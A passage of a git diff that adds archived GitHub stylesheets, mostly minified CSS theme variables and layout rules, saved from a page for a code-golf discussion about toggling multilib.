0.06);--color-calendar-graph-day-L1-bg:#9be9a8;--color-calendar-graph-day-L2-bg:#40c463;--color-calendar-graph-day-L3-bg:#30a14e;--color-calendar-graph-day-L4-bg:#216e39;--color-calendar-graph-day-L1-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L2-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L3-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L4-border:rgba(27, 31, 35, 0.06);--color-user-mention-fg:var(--color-fg-default);--color-user-mention-bg:var(--color-attention-subtle);--color-text-white:var(--color-scale-white)}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=light]{--color-workflow-card-connector:var(--color-scale-gray-3);--color-workflow-card-connector-bg:var(--color-scale-gray-3);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-4);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-4);--color-workflow-card-bg:var(--color-scale-white);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(0, 0, 0, 0);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-4);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-2);--color-discussions-state-answered-icon:var(--color-scale-white);--color-bg-discussions-row-emoji-box:rgba(209, 213, 218, 0.5);--color-notifications-button-text:var(--color-fg-muted);--color-notifications-button-hover-text:var(--color-fg-default);--color-notifications-button-hover-bg:var(--color-scale-gray-2);--color-notifications-row-read-bg:var(--color-canvas-subtle);--color-notifications-row-bg:var(--color-scale-white);--color-icon-directory:var(--color-scale-blue-3);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#ffee4a;--color-calendar-halloween-graph-day-L2-bg:#ffc501;--color-calendar-halloween-graph-day-L3-bg:#fe9600;--color-calendar-halloween-graph-day-L4-bg:#03001c;--color-calendar-graph-day-bg:#ebedf0;--color-calendar-graph-day-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L1-bg:#9be9a8;--color-calendar-graph-day-L2-bg:#40c463;--color-calendar-graph-day-L3-bg:#30a14e;--color-calendar-graph-day-L4-bg:#216e39;--color-calendar-graph-day-L1-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L2-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L3-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L4-border:rgba(27, 31, 35, 0.06);--color-user-mention-fg:var(--color-fg-default);--color-user-mention-bg:var(--color-attention-subtle);--color-text-white:var(--color-scale-white)}}.hx_color-icon-directory{color:var(--color-icon-directory)}.hx_comment-box--tip::after{background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default)) !important}.hx_keyword-hl{background-color:var(--color-search-keyword-hl)}.hx_dot-fill-pending-icon{color:var(--color-attention-emphasis) !important}@media(max-width: 543px){[data-color-mode=light][data-light-theme*=dark],[data-color-mode=dark][data-dark-theme*=dark]{--color-fg-default: var(--color-scale-gray-0);--color-canvas-default: var(--color-scale-gray-8)}}@media(max-width: 543px)and (prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark]{--color-fg-default: var(--color-scale-gray-0);--color-canvas-default: var(--color-scale-gray-8)}}@media(max-width: 543px)and (prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark]{--color-fg-default: var(--color-scale-gray-0);--color-canvas-default: var(--color-scale-gray-8)}}:root[data-color-mode=dark] .entry-content [href$="#gh-light-mode-only"],:root[data-color-mode=dark] .comment-body [href$="#gh-light-mode-only"],:root[data-color-mode=dark] .readme [href$="#gh-light-mode-only"]{display:none}:root[data-color-mode=light] .entry-content [href$="#gh-dark-mode-only"],:root[data-color-mode=light] .comment-body [href$="#gh-dark-mode-only"],:root[data-color-mode=light] .readme [href$="#gh-dark-mode-only"]{display:none}@media(prefers-color-scheme: dark){:root[data-color-mode=auto] .entry-content [href$="#gh-light-mode-only"],:root[data-color-mode=auto] .comment-body [href$="#gh-light-mode-only"],:root[data-color-mode=auto] .readme [href$="#gh-light-mode-only"]{display:none}}@media(prefers-color-scheme: light){:root[data-color-mode=auto] .entry-content [href$="#gh-dark-mode-only"],:root[data-color-mode=auto] .comment-body [href$="#gh-dark-mode-only"],:root[data-color-mode=auto] .readme [href$="#gh-dark-mode-only"]{display:none}}.colorblind-themes-v1{--color-open-fg: var(--color-success-fg);--color-open-emphasis: var(--color-success-emphasis);--color-open-muted: var(--color-success-muted);--color-open-subtle: var(--color-success-subtle);--color-closed-fg: var(--color-danger-fg);--color-closed-emphasis: var(--color-danger-emphasis);--color-closed-muted: var(--color-danger-muted);--color-closed-subtle: var(--color-danger-subtle)}.dropdown-item:focus [class*=color-text-],.dropdown-item:hover [class*=color-text-]{color:inherit !important}.filter-item.selected [class*=color-text-]{color:inherit !important}body:not(.intent-mouse) .hx_focus-input:focus+.hx_focus-target{box-shadow:var(--color-btn-shadow-input-focus)}.reset-btn-override{font-weight:600;color:var(--color-fg-muted)}.reset-btn-override:hover{color:var(--color-accent-fg);text-decoration:none}.reset-btn-override:hover .reset-btn-override-icon{background-color:var(--color-accent-emphasis)}.reset-btn-override-icon{width:18px;height:18px;padding:1px;margin-right:3px;color:var(--color-fg-on-emphasis);text-align:center;background-color:var(--color-neutral-emphasis);border-radius:6px}.is-auto-complete-loading .form-control{padding-right:30px;background-image:url("/images/spinners/octocat-spinner-32.gif");background-size:16px}.hx_breadcrumb-header .header-search-wrapper{height:32px}.hx_breadcrumb-header .notification-indicator .mail-status,.hx_breadcrumb-header .unread-indicator{background-color:var(--color-accent-emphasis);background-image:none}.hx_breadcrumb-header .Header-link,.hx_breadcrumb-header .Header-current-page{color:var(--color-header-logo)}.hx_breadcrumb-header-crumbs .Header-link,.hx_breadcrumb-header-logo{transition:opacity .1s ease-out}.hx_breadcrumb-header-crumbs .Header-link:hover,.hx_breadcrumb-header-logo:hover{color:var(--color-header-text);opacity:.75}.hx_breadcrumb-header-divider{color:var(--color-header-divider)}.Header-button{background-color:var(--color-scale-gray-8);border:1px solid var(--color-scale-gray-6);border-radius:6px;transition:background-color .2s cubic-bezier(0.3, 0, 0.5, 1)}.Header-button .octicon{color:var(--color-header-logo)}.Header-button:hover,.Header-button:focus,.Header-button:active{background-color:transparent}.Header-button:hover .octicon,.Header-button:focus .octicon,.Header-button:active .octicon{color:var(--color-header-text);box-shadow:none}.hx_breadcrumb-header-dropdown::before,.hx_breadcrumb-header-dropdown::after{display:none}.hx_breadcrumb-header-dropdown .dropdown-item{line-height:40px;transition:background-color 60ms ease-out}.hx_breadcrumb-header-dropdown .dropdown-item:hover{color:var(--color-fg-default);background-color:var(--color-canvas-subtle)}.icon-sponsor,.icon-sponsoring{transition:transform .15s cubic-bezier(0.2, 0, 0.13, 2);transform:scale(1)}.btn:hover .icon-sponsor,.btn:focus .icon-sponsor,.Label:hover .icon-sponsor,.Label:focus .icon-sponsor,.btn:hover .icon-sponsoring,.btn:focus .icon-sponsoring,.Label:hover .icon-sponsoring,.Label:focus .icon-sponsoring{transform:scale(1.1)}.icon-sponsor{overflow:visible !important}.hx_kbd{display:inline-block;min-width:21px;padding:0 4px;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji";font-size:12px;font-weight:400;line-height:1.5;color:var(--color-fg-muted);text-align:center;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px;box-shadow:none}.hx_hit-user em,.hx_hit-package em,.hx_hit-marketplace em,.hx_hit-highlighting-wrapper em,.hx_hit-commit em,.hx_hit-issue em,.hx_hit-repo em,.hx_hit-wiki em{font-style:normal;font-weight:600}.SelectMenu-list.select-menu-list{max-height:none}@media(max-width: 543px){.SelectMenu-modal{width:unset !important}}.SelectMenu--hasFilter .SelectMenu-list{contain:content}.SelectMenu-item:disabled,.SelectMenu-item[aria-disabled=true]{color:var(--color-fg-muted);pointer-events:none}.SelectMenu .SelectMenu-item .is-filtering{color:var(--color-fg-muted)}.SelectMenu .SelectMenu-item .is-filtering b{color:var(--color-fg-default)}label.SelectMenu-item{font-weight:400}label.SelectMenu-item[aria-checked=true]{font-weight:600}.hx_SelectMenu-modal-no-animation{animation:none}.Box--responsive{margin-right:-15px;margin-left:-15px;border-right:0;border-left:0;border-radius:0}.Box--responsive .Box-row--unread{position:relative;box-shadow:none}.Box--responsive .Box-row--unread::before{position:absolute;top:36px;left:20px;display:inline-block;width:8px;height:8px;color:#fff;content:"";background-image:linear-gradient(#54a3ff, #006eed);background-clip:padding-box;border-radius:50%}.Box--responsive .Box-header{border-right-width:0;border-left-width:0;border-radius:0}@media(min-width: 544px){.Box--responsive{margin-right:0;margin-left:0;border:1px solid var(--color-border-default);border-radius:6px}.Box--responsive .Box-header{border-right-width:1px;border-left-width:1px;border-top-left-radius:6px;border-top-right-radius:6px}.Box--responsive .Box-row--unread{box-shadow:2px 0 0 var(--color-accent-emphasis) inset}.Box--responsive .Box-row--unread::before{display:none}}@media(max-width: 767px){.page-responsive .dropdown-menu,.page-responsive .dropdown-item{padding-top:8px;padding-bottom:8px}.page-responsive .hx_dropdown-fullscreen[open]>summary::before{background-color:var(--color-primer-canvas-backdrop)}.page-responsive .hx_dropdown-fullscreen .dropdown-menu{position:fixed;top:auto;right:16px !important;bottom:20%;left:16px !important;width:auto !important;max-width:none !important;max-height:calc(80% - 16px);margin:0 !important;overflow-y:auto;transform:none;animation:dropdown-menu-animation .24s cubic-bezier(0, 0.1, 0.1, 1) backwards;-webkit-overflow-scrolling:touch}.page-responsive .hx_dropdown-fullscreen .dropdown-menu::before,.page-responsive .hx_dropdown-fullscreen .dropdown-menu::after{display:none}@keyframes dropdown-menu-animation{0%{opacity:0;transform:scale(0.9)}}.page-responsive .hx_dropdown-fullscreen .dropdown-item{padding-top:16px;padding-bottom:16px}}.hx_rsm-close-button{display:none !important}@media(max-width: 767px){.page-responsive .hx_rsm[open]>summary::before{background-color:var(--color-primer-canvas-backdrop)}.page-responsive .hx_rsm .select-menu-modal,.page-responsive .hx_rsm-modal{position:fixed !important;top:75px;right:16px !important;left:16px;display:flex;width:auto;height:80%;margin:0;flex-direction:column;animation:hx_rsm-modal-animation .24s .12s cubic-bezier(0, 0.1, 0.1, 1) backwards}.page-responsive .hx_rsm--auto-height .select-menu-modal{top:auto;bottom:20%;height:auto;max-height:calc(80% - 16px)}.page-responsive .hx_rsm .select-menu-header,.page-responsive .hx_rsm .select-menu-text-filter.select-menu-text-filter{padding:16px;border-top-left-radius:inherit;border-top-right-radius:inherit}.page-responsive .hx_rsm tab-container,.page-responsive .hx_rsm-content{display:flex;min-height:0;flex-direction:column;flex:auto}.page-responsive .hx_rsm .select-menu-list{flex:auto;max-height:none;-webkit-overflow-scrolling:touch}.page-responsive .hx_rsm-content>.select-menu-item{flex-shrink:0}.page-responsive .hx_rsm .select-menu-item{padding-top:16px;padding-bottom:16px;padding-left:40px}.page-responsive .hx_rsm .close-button,.page-responsive .hx_rsm-close-button{position:relative;display:block !important}.page-responsive .hx_rsm .close-button::before,.page-responsive .hx_rsm-close-button::before{position:absolute;top:-16px;right:-16px;bottom:-16px;left:-16px;content:""}.page-responsive .hx_rsm .close-button .octicon-x,.page-responsive .hx_rsm-close-button .octicon-x{color:var(--color-fg-muted)}.page-responsive .hx_rsm .select-menu-loading-overlay{animation-delay:1s}.page-responsive .hx_rsm .select-menu-button::before,.page-responsive .hx_rsm-trigger::before{animation:hx_rsm-trigger-animation .24s cubic-bezier(0, 0, 0.2, 1) backwards}@keyframes hx_rsm-trigger-animation{0%{opacity:0}}@keyframes hx_rsm-modal-animation{0%{opacity:0;transform:scale(0.9)}}.page-responsive .hx_rsm-dialog{max-width:none;height:auto;max-height:80%;transform:none}.page-responsive .hx_rsm-dialog-content{flex:1;min-height:0}}@media(max-width: 767px)and (max-height: 500px){.page-responsive .hx_rsm .select-menu-modal,.page-responsive .hx_rsm-modal{bottom:16px;height:auto}}.select-menu-modal{border-color:var(--color-border-default);box-shadow:var(--color-shadow-large)}.select-menu-header,.select-menu-filters{background:var(--color-canvas-overlay)}.select-menu-text-filter input{padding:5px 12px}.select-menu-item{text-align:left;background-color:var(--color-canvas-overlay);border-top:0;border-right:0;border-left:0}.preview-selected .tabnav--responsive{border-bottom:1px solid var(--color-border-default)}.tabnav--responsive .tabnav-tabs{z-index:1}@media(max-width: 767px){.tabnav--responsive .tabnav-tab{background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-left:0;border-radius:0}.tabnav--responsive .tabnav-tab:first-child{border-left:1px solid var(--color-border-default)}.tabnav--responsive .tabnav-tab[aria-selected=true],.tabnav--responsive .tabnav-tab.selected{background-color:var(--color-canvas-default);border-bottom:0}}@media(max-width: 767px){.hx_sm-hide-drag-drop textarea{border-bottom:1px solid var(--color-border-default);border-bottom-right-radius:6px;border-bottom-left-radius:6px}.hx_sm-hide-drag-drop .hx_drag-and-drop{display:none !important}}@media(hover: none){.tooltipped:hover::before,.tooltipped:hover::after{display:none}}@media(hover: none){.markdown-body h1 .octicon-link,.markdown-body h2 .octicon-link,.markdown-body h3 .octicon-link,.markdown-body h4 .octicon-link,.markdown-body h5 .octicon-link,.markdown-body h6 .octicon-link{visibility:visible !important}}.min-width-lg{min-width:1012px}.min-width-xl{min-width:1280px}.min-height-0{min-height:0 !important}.ws-pre-wrap{white-space:pre-wrap}.cursor-pointer{cursor:pointer}.cursor-default{cursor:default}@media screen and (prefers-reduced-motion: no-preference){.hide-no-pref-motion{display:none !important;visibility:hidden}}@media screen and (prefers-reduced-motion: reduce){.hide-reduced-motion{display:none !important;visibility:hidden}}.line_through{text-decoration:line-through;text-decoration-thickness:1%}.gap-2{gap:8px}.starring-container .unstarred,.starring-container.on .starred{display:block}.starring-container.on .unstarred,.starring-container .starred{display:none}.starring-container.loading{opacity:.5}.user-following-container .follow,.user-following-container.on .unfollow{display:inline-block}.user-following-container.on .follow,.user-following-container .unfollow{display:none}.user-following-container.loading{opacity:.5}.hidden-when-empty:empty{display:none !important}.cm-number,.cm-atom{color:var(--color-codemirror-syntax-constant)}auto-check .is-autocheck-loading,auto-check .is-autocheck-successful,auto-check .is-autocheck-errored{padding-right:30px}auto-check .is-autocheck-loading{background-image:url("/images/spinners/octocat-spinner-16px.gif")}auto-check .is-autocheck-successful{background-image:url("/images/modules/ajax/success.png")}auto-check .is-autocheck-errored{background-image:url("/images/modules/ajax/error.png")}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (-moz-min-device-pixel-ratio: 2),only screen and (min-device-pixel-ratio: 2),only screen and (min-resolution: 192dpi),only screen and (min-resolution: 2dppx){auto-check .is-autocheck-loading,auto-check .is-autocheck-successful,auto-check .is-autocheck-errored{background-size:16px 16px}auto-check .is-autocheck-loading{background-image:url("/images/spinners/octocat-spinner-32.gif")}auto-check .is-autocheck-successful{background-image:url("/images/modules/ajax/success@2x.png")}auto-check .is-autocheck-errored{background-image:url("/images/modules/ajax/error@2x.png")}}.hx_text-body{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji" !important}.hx_disabled-form-checkbox-label.form-checkbox.disabled{color:var(--color-fg-muted)}.autocomplete-item{background-color:transparent}.ColorSwatch{display:inline-block;width:1em;height:1em;vertical-align:middle;border:1px solid var(--color-border-subtle);border-radius:6px}.label-select-menu .color,.ColorSwatch{border-radius:2em}.details-overlay[open]>.dropdown-item:hover{color:inherit;background:var(--color-canvas-default)}remote-input[loading] .form-control{padding-right:30px;background-image:url("/images/spinners/octocat-spinner-32.gif");background-size:16px}.hx_form-control-spinner{position:absolute;top:24px;right:24px;display:none}@media(min-width: 767px){.hx_form-control-spinner{top:18px;right:18px}}.hx_form-control-spinner-wrapper{position:relative}.hx_form-control-spinner-wrapper .is-loading.form-control{padding-right:28px}.hx_form-control-spinner-wrapper .is-loading+.hx_form-control-spinner{display:block}.drag-and-drop{border-color:var(--color-border-default)}.input-sm{min-height:28px}.btn .octicon-triangle-down{margin-right:0}.UnderlineNav-item.selected .UnderlineNav-octicon,.UnderlineNav-item[aria-current]:not([aria-current=false]) .UnderlineNav-octicon,.UnderlineNav-item[role=tab][aria-selected=true] .UnderlineNav-octicon{color:inherit}.break-line-anywhere{line-break:anywhere !important}.form-checkbox input[type=checkbox],.form-checkbox input[type=radio]{margin-top:4px}.status-indicator-success::before,.status-indicator-failed::before{content:none}.markdown-title code{padding:2px 4px;font-size:.9em;line-height:1;background-color:var(--color-neutral-muted);border-radius:6px}.hx_ActionList-content>.hx_ActionList-item-label,.hx_ActionList-content>.hx_ActionList-item-visual{pointer-events:none}.IssueLabel--big.lh-condensed{display:inline-block;padding:0 10px;font-size:12px;font-weight:500;line-height:22px !important;border:1px solid transparent;border-radius:2em}.hx_IssueLabel{--perceived-lightness: calc( ((var(--label-r) * 0.2126) + (var(--label-g) * 0.7152) + (var(--label-b) * 0.0722)) / 255 );--lightness-switch: max(0, min(calc((var(--perceived-lightness) - var(--lightness-threshold)) * -1000), 1))}:root .hx_IssueLabel,[data-color-mode=light][data-light-theme*=light] .hx_IssueLabel,[data-color-mode=dark][data-dark-theme*=light] .hx_IssueLabel{--lightness-threshold: 0.453;--border-threshold: 0.96;--border-alpha: max(0, min(calc((var(--perceived-lightness) - var(--border-threshold)) * 100), 1));color:hsl(0deg, 0%, calc(var(--lightness-switch) * 100%));background:rgb(var(--label-r), var(--label-g), var(--label-b));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) - 25) * 1%), var(--border-alpha))}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=light] .hx_IssueLabel{--lightness-threshold: 0.453;--border-threshold: 0.96;--border-alpha: max(0, min(calc((var(--perceived-lightness) - var(--border-threshold)) * 100), 1));color:hsl(0deg, 0%, calc(var(--lightness-switch) * 100%));background:rgb(var(--label-r), var(--label-g), var(--label-b));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) - 25) * 1%), var(--border-alpha))}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=light] .hx_IssueLabel{--lightness-threshold: 0.453;--border-threshold: 0.96;--border-alpha: max(0, min(calc((var(--perceived-lightness) - var(--border-threshold)) * 100), 1));color:hsl(0deg, 0%, calc(var(--lightness-switch) * 100%));background:rgb(var(--label-r), var(--label-g), var(--label-b));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) - 25) * 1%), var(--border-alpha))}}[data-color-mode=light][data-light-theme*=dark] .hx_IssueLabel,[data-color-mode=dark][data-dark-theme*=dark] .hx_IssueLabel{--lightness-threshold: 0.6;--background-alpha: 0.18;--border-alpha: 0.3;--lighten-by: calc(((var(--lightness-threshold) - var(--perceived-lightness)) * 100) * var(--lightness-switch));color:hsl(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%));background:rgba(var(--label-r), var(--label-g), var(--label-b), var(--background-alpha));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%), var(--border-alpha))}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark] .hx_IssueLabel{--lightness-threshold: 0.6;--background-alpha: 0.18;--border-alpha: 0.3;--lighten-by: calc(((var(--lightness-threshold) - var(--perceived-lightness)) * 100) * var(--lightness-switch));color:hsl(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%));background:rgba(var(--label-r), var(--label-g), var(--label-b), var(--background-alpha));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%), var(--border-alpha))}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark] .hx_IssueLabel{--lightness-threshold: 0.6;--background-alpha: 0.18;--border-alpha: 0.3;--lighten-by: calc(((var(--lightness-threshold) - var(--perceived-lightness)) * 100) * var(--lightness-switch));color:hsl(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%));background:rgba(var(--label-r), var(--label-g), var(--label-b), var(--background-alpha));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%), var(--border-alpha))}}.signed-commit-badge-small,.signed-commit-badge-medium,.signed-commit-badge-large{display:inline-block;padding:0 7px;font-size:12px;font-weight:500;line-height:18px;white-space:nowrap;border:1px solid transparent;border-radius:2em;border-color:var(--color-border-default)}.signed-commit-badge-small{margin-top:0}.signed-commit-badge-large{padding-right:10px;padding-left:10px;line-height:22px}.topic-tag-action,.delete-topic-button,.topic-tag{display:inline-block;padding:0 7px;font-size:12px;font-weight:500;line-height:18px;white-space:nowrap;border:1px solid transparent;border-radius:2em;padding-right:10px;padding-left:10px;line-height:22px;color:var(--color-accent-fg);background-color:var(--color-accent-subtle);border:1px solid var(--color-topic-tag-border, transparent)}.topic-tag-action:active,.topic-tag-action:hover,.delete-topic-button:active,.delete-topic-button:hover,.topic-tag:active,.topic-tag:hover{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.topic-tag{margin:0 .125em .333em 0}.topic-tag-outline{background:transparent}.topic-tag-action{display:inline-flex;padding-right:0;margin:.6em .5em 0 0}.delete-topic-button,.topic-tag-action .add-topic-button,.topic-tag-action .remove-topic-button{display:flex;width:24px;height:24px;padding:0;color:inherit;border-color:transparent;border-left:0;border-radius:2em;align-items:center;justify-content:center}.hx_Layout.hx_Layout--sidebar-hidden{grid-auto-flow:row;grid-template-columns:1fr !important}.hx_Layout.hx_Layout--sidebar-hidden .Layout-sidebar,.hx_Layout.hx_Layout--sidebar-hidden .Layout-divider,.hx_Layout.hx_Layout--sidebar-hidden .Layout-main{width:100% !important;grid-column:1 !important}.hx_Layout.hx_Layout--sidebar-hidden.Layout--sidebarPosition-flowRow-start .Layout-sidebar{grid-row:1}.hx_Layout.hx_Layout--sidebar-hidden.Layout--sidebarPosition-flowRow-start .Layout-main{grid-row:2/span 2}.hx_Layout.hx_Layout--sidebar-hidden.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:2/span 2}.hx_Layout.hx_Layout--sidebar-hidden.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}.hx_Layout.hx_Layout--sidebar-hidden.Layout--sidebarPosition-flowRow-none .Layout-sidebar{display:none}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided{--Layout-gutter: 0}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided .Layout-divider{height:1px;grid-row:2}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided .Layout-divider.Layout-divider--flowRow-hidden{display:none}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided .Layout-divider.Layout-divider--flowRow-shallow{height:8px;margin-right:0;background:var(--color-canvas-inset);border-color:var(--color-border-default);border-style:solid;border-width:1px 0}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided .Layout-main{grid-row:3/span 1}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:3/span 1}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}.hx_Layout--sidebar{top:60px;box-sizing:border-box;overscroll-behavior:contain}.branch-action-item.color-border-default{border-color:var(--color-border-default) !important}.user-status-container .input-group-button .btn{height:32px}.reponav-item,.pagehead-tabs-item{border-radius:4px 4px 0 0}.reponav-item.selected,.pagehead-tabs-item.selected{border-top-color:#f9826c}.auto-search-group>.octicon{top:8px}.subnav-search>button.mt-2{margin-top:6px !important}.completeness-indicator-success{color:var(--color-fg-on-emphasis);background-color:var(--color-btn-primary-bg)}.pagination-loader-container button.color-bg-default.border-0{border-top-left-radius:6px;border-top-right-radius:6px}.avatar-user{border-radius:50% !important}@media(max-width: 543px){.minimized-comment>details>div{padding-left:0 !important}}@media(max-width: 543px){.minimized-comment>details>summary>div{flex-direction:column}.minimized-comment>details>summary>div .review-comment-contents{align-left:flex-start}}.hx_disabled-input{margin-right:-4px !important;margin-left:-4px !important}.hx_disabled-input sidebar-memex-input[disabled]:not(.no-pointer) *{cursor:pointer}.hx_disabled-input sidebar-memex-input:not([disabled]) .Box-row--hover-gray{background-color:var(--color-canvas-subtle)}.hx_disabled-input .Box-row--hover-gray svg.octicon-pencil{visibility:hidden;opacity:0}.hx_disabled-input .Box-row--hover-gray:hover,.hx_disabled-input .Box-row--hover-gray:focus{padding-top:8px !important;padding-bottom:8px !important}.hx_disabled-input .Box-row--hover-gray:hover svg.octicon-pencil,.hx_disabled-input .Box-row--hover-gray:focus svg.octicon-pencil{visibility:visible;opacity:1}.hx_disabled-input input:not(:disabled){margin-top:8px !important;margin-bottom:8px !important}.hx_disabled-input input[disabled],.hx_disabled-input select[disabled],.hx_disabled-input .form-control[contenteditable=false]{padding-right:0;padding-left:0;margin-right:0;color:var(--color-fg-default) !important;background:transparent;border:0;box-shadow:none;opacity:1}.hx_disabled-input text-expander input[type=text][disabled]{display:none}.hx_disabled-input text-expander input[type=text][disabled]+div.form-control{display:block}.hx_disabled-input text-expander input[type=text]+div.form-control{display:none}.hx_disabled-input input[type=date][disabled]{display:none}.hx_disabled-input input[type=date][disabled]+div.form-control{display:block}.hx_disabled-input input[type=date]+div.form-control{display:none}.hx_disabled-input input[disabled]::placeholder,.hx_disabled-input selected[disabled]::placeholder{color:var(--color-fg-default) !important}.hx_disabled-input .form-select{background-image:none !important}.hx_disabled-input .Box-row--focus-gray:focus{background:var(--color-canvas-subtle)}.summary-iteration .inline-status{display:none}.summary-iteration .block-status{display:inline-block}.list-iteration .inline-status{display:inline}.list-iteration .block-status{display:none}.hx_tabnav-in-dropdown{border-radius:5px 5px 0 0}.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:first-child .tabnav-tab.selected,.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:first-child .tabnav-tab[aria-selected=true],.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:first-child .tabnav-tab[aria-current]:not([aria-current=false]){border-left:0}.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:last-child .tabnav-tab.selected,.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:last-child .tabnav-tab[aria-selected=true],.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:last-child .tabnav-tab[aria-current]:not([aria-current=false]){border-right:0}.hx_tabnav-in-dropdown .tabnav-tab.selected,.hx_tabnav-in-dropdown .tabnav-tab[aria-selected=true],.hx_tabnav-in-dropdown .tabnav-tab[aria-current]:not([aria-current=false]){margin-top:-1px;background-color:var(--color-canvas-overlay)}.hx_tabnav-in-dropdown #cloud-tab[aria-selected=false]::after{position:absolute;top:-14px;right:10px;left:auto;z-index:10;display:inline-block;content:"";border:7px solid transparent;border-bottom:7px solid var(--color-canvas-subtle)}.details-overlay-dark[open]>summary::before{z-index:111 !important}.turbo-progress-bar{z-index:2147483647}.timeline-comment .previewable-comment-form textarea{max-height:none} + +/*# sourceMappingURL=global-0d69ca7f0327.css.map*/ \ No newline at end of file diff --git a/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/light-92c7d381038e.css b/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/light-92c7d381038e.css new file mode 100644 index 0000000..044e8a7 --- /dev/null +++ b/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/light-92c7d381038e.css @@ -0,0 +1,3 @@ +:root,[data-color-mode=light][data-light-theme=light],[data-color-mode=dark][data-dark-theme=light]{/*! */}:root,[data-color-mode=light][data-light-theme=light],[data-color-mode=dark][data-dark-theme=light]{--color-canvas-default-transparent: rgba(255,255,255,0);--color-page-header-bg: #f6f8fa;--color-marketing-icon-primary: #218bff;--color-marketing-icon-secondary: #54aeff;--color-diff-blob-addition-num-text: #24292f;--color-diff-blob-addition-fg: #24292f;--color-diff-blob-addition-num-bg: #CCFFD8;--color-diff-blob-addition-line-bg: #E6FFEC;--color-diff-blob-addition-word-bg: #ABF2BC;--color-diff-blob-deletion-num-text: #24292f;--color-diff-blob-deletion-fg: #24292f;--color-diff-blob-deletion-num-bg: #FFD7D5;--color-diff-blob-deletion-line-bg: #FFEBE9;--color-diff-blob-deletion-word-bg: rgba(255,129,130,0.4);--color-diff-blob-hunk-num-bg: rgba(84,174,255,0.4);--color-diff-blob-expander-icon: #57606a;--color-diff-blob-selected-line-highlight-mix-blend-mode: multiply;--color-diffstat-deletion-border: rgba(27,31,36,0.15);--color-diffstat-addition-border: rgba(27,31,36,0.15);--color-diffstat-addition-bg: #2da44e;--color-search-keyword-hl: #fff8c5;--color-prettylights-syntax-comment: #6e7781;--color-prettylights-syntax-constant: #0550ae;--color-prettylights-syntax-entity: #8250df;--color-prettylights-syntax-storage-modifier-import: #24292f;--color-prettylights-syntax-entity-tag: #116329;--color-prettylights-syntax-keyword: #cf222e;--color-prettylights-syntax-string: #0a3069;--color-prettylights-syntax-variable: #953800;--color-prettylights-syntax-brackethighlighter-unmatched: #82071e;--color-prettylights-syntax-invalid-illegal-text: #f6f8fa;--color-prettylights-syntax-invalid-illegal-bg: #82071e;--color-prettylights-syntax-carriage-return-text: #f6f8fa;--color-prettylights-syntax-carriage-return-bg: 